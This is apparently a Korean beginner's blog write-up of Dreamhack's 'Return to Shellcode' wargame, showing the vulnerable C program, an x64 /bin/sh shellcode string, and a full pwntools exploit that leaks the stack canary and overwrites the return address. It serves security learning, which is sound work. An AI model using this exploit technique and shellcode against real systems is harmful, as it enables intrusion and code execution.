반응형

하루만에 너무 많은걸 해버렸다... 갓 포너블 시작한 포린이에게는 빡센 것 같다.

바로 시작해보자. 

이번 문제는 Return to Shellcode 라는 문제이다. 

(문제 출처 : https://dreamhack.io/wargame/challenges/352 )

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

제목에서도 알 수 있듯, Shell Code를 사용하는 문제이고, 이게 중요한 개념인가보다.

(나의 경우에는 너무나도 중요했다 ...발...)

 

우선 먼저 짚고 넘어가야 할 점이 있다. 바로 Shell Code는 32비트와 64비트 환경에서 다르다는 것이다! 당연하지. 근데 나는 그걸 못알아채고 한시간동안 삽질을 했다 ㅋㅋ 하... 여러분은 그러지 않길~ ^^

Shell Code in x64

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

이제 시작해보자. 

우선 국룰 절차 밟기.

64bit, SYSV, Canary 정도 체크하고 가면 될 것 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드가 이전 문제에 비하면 상당히 길다.

어떻게 실행되는지 한번 실행해보자.

buf의 주소를 주는 것을 보니, BOF를 일으켜야하는 것으로 보이고, distance between buf and $rbp를 주는 것을 주목해야겠다. 이 문제가 Canary 단원 안에 속해있다는 것을 생각해볼 때, 저 distance에 집중해야겠다.

기본적인 canary의 개념을 짚고 가자면,

이렇게 생각할 수 있겠다. 즉, sfp와 ret의 무결성 보장을 위해 canary의 값이 변경되었는지를 확인하는 것이다. 따라서 canary의 값을 알아내기 위해 해야할 일은 bof를 통해 canary 값을 leak 해야 하는 것인 것 같다.(아무래도 처음부터 더 어려운건 안시키겠지...)

BUF 주소 leak

char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 부분을 보면, p.recvuntil("buf: ") 해서 recv(14)로 buf 값을 가져올 수 있고, distance도 구할 수 있을 것이다.

 

해당 부분의 exploit 코드

 

Canary Leak

그 다음으로 canary leak을 해봐야 하겠다.

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

문제에서 친절하게도 안내를 해준다 ㅋㅅㅋ

그렇다면 해줘야지.

 

buf에 distance - 8 (8인 이유는 canary가 들어갈 자리 때문.) 까지 다른 데이터로 채워주고, canary의 NULL문자 부분까지 하나만 더 "A"로 채워주어 canary 정보를 leak 해보았다.

canary Leak

이렇게 하면 canary까지 가져왔으니, 남은건 BOF 뿐이다.

BOF

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

위에를 처리하고나니 이젠 귀여운 BOF만 남아있다. 바로 익스 해주자.

BOF 코드

 

새로운 함수 몇 가지를 공부했는데, ljust라는 굉장한 녀석이 있다. 코드를 보면 뭐하는 친구일지 이해가 될 것이다.

 

Exploit code

from pwn import *

p = remote('host3.dreamhack.games', portNum)

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil("Address of the buf: ")
buf_addr = int(p.recv(14), 16)

p.recvuntil("$rbp: ")
distance = int(p.recv(2))

# canary leak
p.recvuntil("Input: ")
payload = b"A" * (distance - 8)
payload += b"B"
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recv(7)

# exploit
print(p.recvuntil("Input: "))
payload = shellcode.ljust(distance - 8, b'\x90')
payload += canary
payload += b"\x90"*8    
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

 

이대로 exploit 해주면,

짜잔~ 성공이다 !! ㅎㅎ

기초 BOF를 벗어나 새로운 canary leak을 해보는 재미난 경험이었다~

포린이 포너블 1일차 끗.

반응형

+ Recent posts